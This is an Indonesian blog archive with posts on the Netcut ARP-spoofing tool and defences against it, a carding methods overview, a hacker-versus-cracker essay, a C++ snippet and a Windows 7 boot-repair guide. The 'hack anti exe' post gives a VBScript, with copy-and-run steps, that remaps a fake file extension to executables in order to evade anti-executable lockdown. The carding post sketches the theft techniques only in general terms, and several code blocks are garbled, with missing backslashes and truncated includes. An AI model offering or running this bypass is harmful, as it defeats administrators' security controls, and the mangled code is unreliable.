Minggu, 31 Juli 2011

Perang Jaringan: Netcut & Netcut Defender

Dunia cyber memang tak akan habis kalau terus menguak seluk-beluk tentang keamanan jaringan, mulai dari yang newbie sampai dengan advance. sedikit mainan kecil yang bisa dibilang cukup asyik untuk menemani kita berperang dalam jaringan kecil baik itu LAN atau Wireless LAN (WLAN). Yup, netcut sebuah aplikasi yang sudah sangat familiar di telinga para kaum pencuri bandwidth, pentester, hingga hacker ini telah mencapai versi 2.1.1. Namun tahukah Anda bahwa berbarengan dengan rilis netcut baru itu kini Arcai.com’s selaku vendor netcut telah merilis software sandingan untuk melawan netcut yang telah disalahgunakan untuk kejahatan, yaitu Netcut Defender yang saya bawa dengan versi 2.1.1

null

Prinsip kerjanya masih sama dengan checklist Protect My Computer di program netcut itu sendiri, bedanya tools ini lebih dibuat khusus untuk bertahan dari netcut (saya belum mencoba untuk network attack selain netcut). Aplikasi ini secara default akan berjalan saat startup di systemtray.
null

Untuk Anda yang suka berperang jaringan dengan netcut dan tidak sedang menghidupkan firewall baik di komputer Anda maupun di network, tools ini pantas untuk dicoba karena memang dari pihak Arcai.com’s sendiri sedang membutuhkan bantuan Anda untuk mengujinya

Saya? Saya sudah mendapati beberapa kekurangan ketika bereksperimen dengan ini adalah :

1. Tulisan Protected by Netcut Defender bukan berasal dari Netcut Defender melainkan dari Netcut itu sendiri. Intinya Netcut 2.1.1 ini belum bisa mengenali Netcut Defender 2.1.1 dengan baik.
null

null
2. Bila window diclose maka program bukan akan tertutup melainkan dikecilkan menuju syatemtray, dengan kata lain action untuk close dan minimize menjadi sama yang seharusnya berbeda

3. Netcut dan Netcut Defender masih memaksa untuk run saat startup biarpun opsi untuk startup telah dihilangkan

Dengain ini bug-bug tersebut telah saya submit ke pihak netcut untuk diperbaiki

Untuk saat ini saya belum merekomendasikan Anda untuk memakai tools Netcut Defender mengingat masih banyaknya bug yang ada, lebih baik bila Anda mempercayakan kepada ahli firewall yang lebih baik sepertiComodo Firewall

Selasa, 05 April 2011

hack anti exe

const HKEY_CLASSES_ROOT = &H80000000
const HKEY_CURRENT_USER = &H80000001
QUOT = chr(34)
strComputer = “.”
On error resume next
Tanya = MsgBox(”By Pass Exelockdown dengan Registry Shell Spawning”& _
vbNewLine & “Reset Exelockdown?”, 36,”Exelockdown Hacking – by Lovepassword”)
If Tanya = 6 Then ‘Bila dipilih YA
Set objRegistry = GetObject(”winmgmts:{impersonationLevel=impersonat e}!\” &strComputer & ” ootdefault:StdRegProv”)
objRegistry.CreateKey HKEY_CLASSES_ROOT, “.sexy”
objRegistry.SetStringValue HKEY_CLASSES_ROOT,”.sexy”,,”exefile”
objRegistry.SetStringValue HKEY_CLASSES_ROOT,”.sexy”,”Content Type”,”application/x-msdownload”
objRegistry.CreateKey HKEY_CLASSES_ROOT, “.sexyPersistentHandler”
objRegistry.SetStringValue HKEY_CLASSES_ROOT,”.sexyPersistentHandler”,,”{098f 2470-bae0-11cd-b579-08002b30bfeb}”
objRegistry.CreateKey HKEY_CURRENT_USER, “SoftwareMicrosoftWindowsCurrentVersionExplorerAdv anced”
objRegistry.SetDWORDValue HKEY_CURRENT_USER,”SoftwareMicrosoftWindowsCurrent VersionExplorerAdvanced”,”HideFileExt”,0
Set objWMIService = GetObject(”winmgmts:” _
& “{impersonationLevel=impersonate}!\” & strComputer & ” ootcimv2?)
Set colProcessList = objWMIService.ExecQuery _
(”SELECT * FROM Win32_Process WHERE Name = ‘explorer.exe’”)
For Each objProcess in colProcessList
objProcess.Terminate()
Next
set objShell = createobject(”Wscript.Shell”)
objShell.Run “explorer.exe”
msgbox “Copi file exe, rename menjadi file sexy, lalu jalankan”,vbInformation,”Exelockdown Hacking – by 060183”
End If

Silakan copy paste di notepad lalu pilih all files dan simpan dengan extensi .vbs.. jalankan…
Kemudian ubah extensi file .exe jadi .sexy Maka anda selamat dari pencekalan software anti executable. Ingat jangan disalah gunakan OK!!

Sabtu, 12 Februari 2011

Menahan Serangan NETCUT Tanpa Software (Win n Lnx)

Semua pernah dengar NETCUT kan???kalau belum tanya aja dolo sama om google belum tutup kok hehehe...

apa anda pikir software anti netcut bisa melindungi anda??? i not think so, Anti Netcut kadang tidak bisa bekerja sesuai dengan fungsinya, dan cara manual lebih mantap...

wokeh, teknik pertama, Versi Korban Menggunakan Windus...
cara menahannya, cuma buka Command Prompt
Start > Run > Ketik CMD > dan Enter
maka layar itam tulisan putih muncul, dan silahkan pelototi hingga 3 jam, di jamin mata berair dan pedis.. hahahaa (becanda)

sampai mana tadi ?
oh iya, cmd udah kebuka,
silahkan ketikkan arp -a trus enter

nah, kita liat kalau ada yang melakukan transfer ARP pada PC kamu,,, eeiittt.... hati2, kalau kamu menggunakan Wifi, liat dulu, mana IP Modem dan mana IP Wifi yang kamu Koneksikan, yah,, anggaplah IP Attacker itu menggunakan 192.168.0.132 dengan MAC 90-4c-XX-XX-XX-XX
ketikkan di command prompt arp -d 192.168.0.132 trus enter .

.
coba ketik arp -a apa masih ada tuh IP ???
kalau sudah tidak ada, berarti transfer ARP dari attacker ke Kompi kamu itu sudah terputus, dan dia pasti tidak tau,,, heheheee....

Cara ke Dua - kalau cara itu masih tidak mempan, silaahkan ganti IP Dynamis menjadi IP Statis

Cara Ke Tiga - kalau kedua trick di atas gak bisa, apa boleh buat, tipu NETCUT dengan membuat PORT palsu, bisa menggunakan Tool PORT Monster...


Linux Version =

Teknik pertama yang di gunakan hampir sama, Jika anda pengguna linux, bisa menggunakan Terminal
Aplication > Terminal
ketik arp -a
dan lakukan seperti perintah Windows di atas.

jika cara ini masih tidak bisa, silahkan gunakan trick ini =

Caranya adalah anda harus Install arptables
Dengan cara, buka Terminal ketikkan :
$sudo apt-get install arptables
Maka dengan menginstall arptables telah menambahkan baris berikut ke script firewall
Jika "192.168.1.1" adalah IP gateway dan "0:01 D: 0F: A9: F0: 45" adalah alamat mac gateway
Maka yang selanjutnya yang di lakukan adalah ketikkan di bawah ini :
#arptables -P INPUT DROP
#arptables -P OUTPUT DROP
#arptables -A INPUT -s 192.168.1.1 --source-mac 00:1D:0F:A9:F0:45 -j ACCEPT
#arptables -A OUTPUT -d 192.168.1.1 --destination-mac 00:1D:0F:A9:F0:45 -j ACCEPT
#arp -s 192.168.1.1 00:1D:0F:A9:F0:45
(mudah-mudahan berhasil) heheheeee...

kalau masih tidak bisa, ada trick lagi neh

tinggal Disable ARP Client
cara mematikan (disable) ARP Client pada Linux box anda selama melakukan koneksi. Caranya adalah dengan mengetikan perintah dibawah ini pada terminal:
$ sudo ifconfig wlan0 –arp

Note: lakukan perintah ini pada saat anda telah terkoneksi pada jaringan anda, jika tidak, maka anda tidak dapat Connect.

jika telah selesai bersurfing, silahkan ENABLE ARP Client anda dengan perintah =
$ sudo ifconfig wlan0 arp

(Disable dan Enable cuma beda dikit perintahnya beda ginian "-") hehehheee....


ehh... Kalau masih tidak bisa???
berarti anda yang salah.... PISS

Senin, 03 Januari 2011

Cara Mencuri Kartu Kredit (CARDING)

Artikel ini tidak ditujukan untuk mengajari anda gimana mencuri data kartu kredit, tapi kami ingin memberitahu anda supaya di kemudian hari anda bisa terhindari dari kejahatan pencurian data kartu kredit. Istilah kejahatan kartu kredit yang biasa di istilahkan "carding" sejak adanya internet meningkat ratusan persen. Ironisnya Indonesia masuk dalam jajaran top 10 (sempat di peringkat pertama) sehingga kartu kredit terbitan Bank-Bank Indonesia ditolak ketika belanja online di situs luar negeri.
Hal ini juga pernah di alami oleh penulis yang ingin berlangganan majalah game luar negeri dengan pembayaran online lewat kartu kredit.

Para hacker sangat suka sekali kejahatan yang satu ini, kenapa? Karena kalau cuma nge-hack website atau deface (merubah tampilan/link website) merupakan sesuatu yang tidak ada untungnya. Dan hal ini bisa ke deteksi dan pelaku kejahatan bisa ketangkap dengan mudah kalau sites yang dia masuki memiliki TRACKER (program pelacak ip/link) atau LOG FILE (file yang mencatat aktivitas user/ip yang masuk ke website). Kalau carding mereka bisa bebas tanpa jejak dan juga kadang-kadang setelah mendapatkan datanya, mereka sebarkan antar hacker sehingga susah dilacak orang pertama yang mencuri data kartu kredit. Kejadian baru-baru ini yaitu situs internet teroris Indonesia juga di register dari hasil carding.

Ada beberapa cara yang digunakan oleh hacker dalam mencuri kartu kredit, antara lain:
1. Paket sniffer, cara ini adalah cara yang paling cepat untuk mendapatkan data apa saja. Konsep kerjanya mereka cukup memakai program yang dapat melihat atau membuat logging file dari data yang dikirim oleh website e-commerce (penjualan online) yang mereka incar. Pada umumnya mereka mengincar website yang tidak dilengkapi security encryption atau situs yang tidak memiliki security yang bagus.

2. Membuat program spyware, trojan, worm dan sejenisnya yang berfungsi seperti keylogger (keyboard logger, program mencatat aktifitas keyboard) dan program ini disebar lewat E-mail Spamming (taruh file-nya di attachment), mirc (chatting), messenger (yahoo, MSN), atau situs-situs tertentu dengan icon atau iming-iming yang menarik netter untuk mendownload dan membuka file tersebut. Program ini akan mencatat semua aktivitas komputer anda ke dalam sebuah file, dan akan mengirimnya ke email hacker. Kadang-kadang program ini dapat dijalankan langsung kalau anda masuk ke situs yang di buat hacker atau situs porno.

3. Membuat situs phising, yaitu situs sejenis atau kelihatan sama seperti situs aslinya. contoh di Indonesia ketika itu situs klik bca (http://www.klikbca.com), pernah mengalami hal yang sama. situs tersebut tampilannya sama seperti klikbca tetapi alamatnya dibikin beberapa yang berbeda seperti http://www.clikbca.com, http://www.kikbca.com, dll, jadi kalau netter yang salah ketik, akan nyasar ke situs tersebut. Untungnya orang yang membuat situs tersebut katanya tidak bermaksud jahat. Nah kalau hacker carding yang buat tuh situs, siap-siap deh kartu kredit anda bakal jebol.

4. Menjebol situs e-commerce itu langsung dan mencuri semua data para pelanggannya. Cara ini agak sulit dan perlu pakar hacker atau hacker yang sudah pengalaman untuk melakukannya. Pada umumnya mereka memakai metode injection (memasukan script yang dapat dijalankan oleh situs/server) bagi situs yang memiliki firewall. Ada beberapa cara injection antara lain yang umum digunakan html injection dan SQL injection. Bagi situs yang tidak memiliki security atau firewall, siap-siaplah dikerjain abis-abisan.

Minggu, 02 Januari 2011

Mengetahui Kode ASCII Dari Suatu Karakter - IT Programmer

Mengetahui Kode ASCII Dari Suatu Karakter
"#include
#include

void main()
{
char karakter;
clrscr();

cout<<'Masukkan Karakter: ';
cin>>karakter;

cout<<endl<<endl;

cout<<'Nilai ASCII dari karakter '<<karakter<<': '<<int(karakter)<<endl;

getch();
}"

Senin, 27 Desember 2010

hacking dan cracking

Alasan untuk menulis artikel ini hanya untuk melurus kan apa itu hacker dan apa itu cracker yang slama ini kita dari sebagian orang awam selalu mengangggap kedua kata itu jahat oleh para pengguna komputer internet. Lanjuuuut.....

AWAL PERSOALAN
Hacker dalam tulisan Eric Steven Raymond adalah “ there is a community, a shared culture, of expert programmers and networking wizards that its history back trough decades to the firs time-sharing minicomputers and the earliesr ARPAnet experiment” Dengan kata lain, Raymon mengatakan, “the members of this culture originated the term ‘hacker’”.

Para hackerlah yang kemudian memperkenalkan internet, membuat program sistem operasi UNIX hingga bias digunakan saat ini. Dan para hacker pula lah yang telah berjasa dalam menjalankan World Wide Web sehingga dapat dinikmati oleh semua orang diseluruh dunia dibelahan manapun dia berada asal terkoneksi pada internet. Lebih lanjut Raymon mengatakan “ jika anda berada pada komunitas ini dan jika anda memiliki konstribusi didalamnya, dan kemudian orang mengenal anda sebagai hacker, maka anda adalah seorang hacker”.

Sekilas dari pandangan Raymon kita dapat satu definisi bahwa seorang hacker bukanlah orang yang jahat seperti yang kita pikirkan selama ini. Ya, jika mereka memang bisa masuk kedalam komputer kita (malalui jaringan internet) karena mereka bisa menguasai ilmunya. Namun jika ada orang yang kemudian masuk secara ilegal kedalam komputer kita dan kemudian “mencuri dan mengacak-ngacak” data kita, mereka adalah CRACKER.

Dan bisa jadi mereka adalah seorang hacker dalam dunia yang berbeda. Dengan kata lin, mereka semua adalah para ahli dalam hal teknologi informasi ini dan berkecimpung serius didalamnya.
Namun untuk menghindari kerancuan, maka sebuah kata kunci dalam masalah ini, menurut Raymon adalah perbedaan antara keduanya; seorang Hacker adalah dia yang membangun sistem, sementara seorang Cracker malah “menghancurkannya”. (How to become a hacker, Eric S. Raymond, 2001).

Kapan istilah hacker menjadi trend sebagai sebuah kejahatan yang menakutkan? Tidak lain karena “dosa” pakar film di hollywood yang membiaskan istilah hacker dan cracker ini. Banyak film yang mengangkat tema hacker dalam sebuah bentuk “penghancuran sistem informasi ” yang seharusnya makna itu diterapkan pada seorang cracker.

Sebut misalnya film the Net (1995), Take Down(1999). Film tersebut mengangkat tema hacker untuk menyebut cracker. Dan dari kesalah penafsiran tadi, hingga kini pun istilah hacker masih dibiaskan dengan istilah cracker. Kerancuan itu tidak hanya terjadi di Indonesia saja, bahkan diluar negeripun pandangan terhadap keduanya sama seperti itu.

Terminologi hacker muncul pada awal tahun 1960-an diantara anggota organisasi mahasiswa Tech Model Railroad club di Lab Kecerdasan Artifisial Masschusetts Institute Of Teknology (MIT). Istilah hacker awalnya bermakna positif untukmenyebut seorang anggota yang memiliki keahlian dalam bidang komputer dan mampu membuat progranm komputer dengan lebih baik ketimbang yang ada sebelumnya (Memahmi karakteristik Komunitas Hacker: Studi Kasus pada Komunitas Hacker Indonesia, Donny B.U, M.Si)

MENJADI HACKER
Mungkin sekilas tentang definisi diatas cukup untuk membatasi sejauhmana peranan seorang hacker dan cracker itu. Tulisan ini tidak akan mengangkat sejarah hacker dan awal mula kerancuannya. Namun lebih menitik beratkan pada bagaimana seandainya kita belajar menjadi hacker. Atau lebih spesifik, bisakah kita menjadi seorang hacker? Dalam tulisan How to Become a Hacker, Eric Steven Raymon mengatakan bahwa menjadi hacker tidaklah segampang yang dikira.

Langkah awal untuk menjadi seorang hacker haruslah menguasai minimal 5 bahasa pemrograman yang ada. Ia menyebut bahasa pemrograman C/C++, Java, Perl, Phyton & LISP. Selain itu mampu berinteraksi dengan program HTML untuk dapat membangun komunikasi dengan jaringan internet. Semua dasar diatas adalah ilmu yang “wajib” dimiliki jika kita memang berminat untuk menjadi seorang hacker sejati. Karena pada dasarnya menjadi Hacker adalah penguasaan terhadap membaca dan menulis kode.


Kenapa kode? Karena memang komputer yang kita jalankan setiap hari pada intinya adalah terdiri dari berbagai kode instruksi yang cukup rumit.
Selain penguasaan terhadap bahasa pemrograman diatas, kita pun harus punya bekal yang cukup dalam berbahasa inggris untuk dapat saling bertukar pikiran dengan komunitas hacker dari seluruh dunia. Ini tidak dilarang karena pada umumnya, mereka (anggota komunitas tersebut) memiliki kode etik tersendiri tentang open-source atau kode-kode program yang boleh dibuka dan diutak atik oleh orang lain.

Contoh, kode-kode Linux yang marak di perkenalkan baru-baru ini memiliki konsep open source dan karenanya bisa dimiliki oleh khalayak ramai dengan sebutan free software.

Kembali pada persoalan diatas, menjadi seorang hacker untuk tujuan saling berbagi ilmu dalam teknologi informasi ini, atau dalam arti yang lebih luas untuk memudahkan pemakai komputer pada masa yang akan datang, bukanlah hal harus ditakuti. Sebaliknya, ilmu tersebut harus diterjemahkan dan sama-sama digali sehingga menjadi bagian terintegral dalam memahami lika-liku dunia cyber. Asal saja kita tidak terjebak pada prilaku yang negatif sehingga menjadi seorang cracker yang membobol sitem rahasia orang lain.

AWAL SEBUAH LANGKAH
Ketika kita meniatkan diri untuk lebih akrab dengan dunia hacker, maka selain beberapa bekal yang disebutkan diatas, penguasaan bahasa pemrograman, html dan bahasa inggris, nampaknya niat tersebut harus juga dilengkapi dengan satu sikap mendasar tentang orientasi dan tujuan awal kita menjadi seorang hacker.

Alih-alih menjadi seorang pakar pemrograman yang baik, jika tidak benar malah bisa terjebak pada prilaku negativ yang tidak hanya merugikan orang lain tapi merugikan diri sendiri. Konon, jika seandainya saja anda menjadi seorang cracker dan anda dikenal suka membuka rahasia orang lain, maka, jangan harap anda dapat dengan mudah berjalan-jalan kemanca negara. Karena, kata beberapa sumber, nama anda sudah di “black list” sebagai penjahat cyber?
Disisi ini menarik untuk di simak, satu sisi, kita butuh teknologi canggih yang kerap bermunculan dalam hitungan detik, sisi lain ada kehawatiran takut terjebak pada pola “nyeleneh” yang berakibat patal.

Namun demikian, sebagai satu sikap, kita berpijak pada satu kesepakatan, bahwa mempelajari bahasa-bahasa yang ditawarkan oleh Eric Steven Raymon diatas, adalah hal yang baik. Karena dengan mempelajarinya, kita minimal dapat mendapat solusi untuk membuat program yang berguna bagi orang lain. Dan jika ini dilakukan,
percayalah, anda adalah seorang HACKER.

Minggu, 19 Desember 2010

Cara Recovery Windows7 menggunakan Recovery Console

Salah satu yang paling berguna ketika anda menggunakan komputer dan terjadi hal yang tidak anda inginkan pada Windows anda, tentunya dapat menggunakan Recovery Console, dengan cara Recovery Console anda dapat melakukan perbaikan seperti memperbaiki Master Boot Record dan Sektor Boot dari disk yang anda punya untuk Windows yang diinstal.

Recovery Console telah ada pada Windows sebelumnya di Windows XP kemudian di perbaiki pada Windows Vista dan di perluas pada Windows 7 saat ini. Tapi tidak semua sistem recovery bekerja dengan baik tapi jangan khawatir anda bisa melakukan cara berikut untuk memaksimalkan Sistem Recovery dengan menggunakan recovery Console.

Cara recovery windows dengan menggunakan recovery console

Untuk cara ini anda sebagai pengguna Windows 7 Anda dapat memulainya pada menu boot dengan menekan F8 atau F12 pada keyboard ketika sebelum memasuki logo Windows muncul dan masukan DVD instalasi Windows 7 anda pada menu sebelum instalasi Widows 7 akan ada menu System Recovery klik dan pilihmenu Command prompt.

Jika anda menggunakan Command Prompt anda dapat melakukan perintah dengan mengetikan ” Bootrec ” ada empat langkah yang anda dapat lakukan dengan menggunakan perintah Bootrec ini.

1. BootRec / RebuildBcd – > Cara ini secara otomatis akan membangun kembali menu Windows 7 boot jika telah terjadi korup
2. BootRec / fixmbr – > cara ini akan memperbaiki master boot record (MBR) pada hard disk
3. BootRec / fixboot – >cara ini akan menulis sektor boot baru ke hard disk anda. Hal ini berguna jika sektor boot telah menjadi korup yang rusak.
4. BootRec / ScanOS – > akan memindahkan hard disk anda untuk sistem operasi yang mungkin saat ini tidak akan muncul dalam menu boot, misal bila dalam satu komputer anda install 2 OS kadang pada menu boot anda menu pilihan OS tidak muncul anda bisa melakukan dengan mengetikan perintah ini pada jendela Command prompt.

Pada perintah selanjutnya jika anda ingin menghapus menu boot dan anda dapat membangun ulang menu boot dari awal, anda dapat melakukan dengan perintah berikut.

Bcdedit / ekspor c: \ BCD_Backup
c:
cd boot
BCD attrib-s-h-r
ren c: \ boot \ BCD bcd.old
BootRec / RebuildBcd

dari cara diatas anda dapat mengatasi masalah pada windows 7 anda dengan mudah dan cepat. Selamat mencoba!.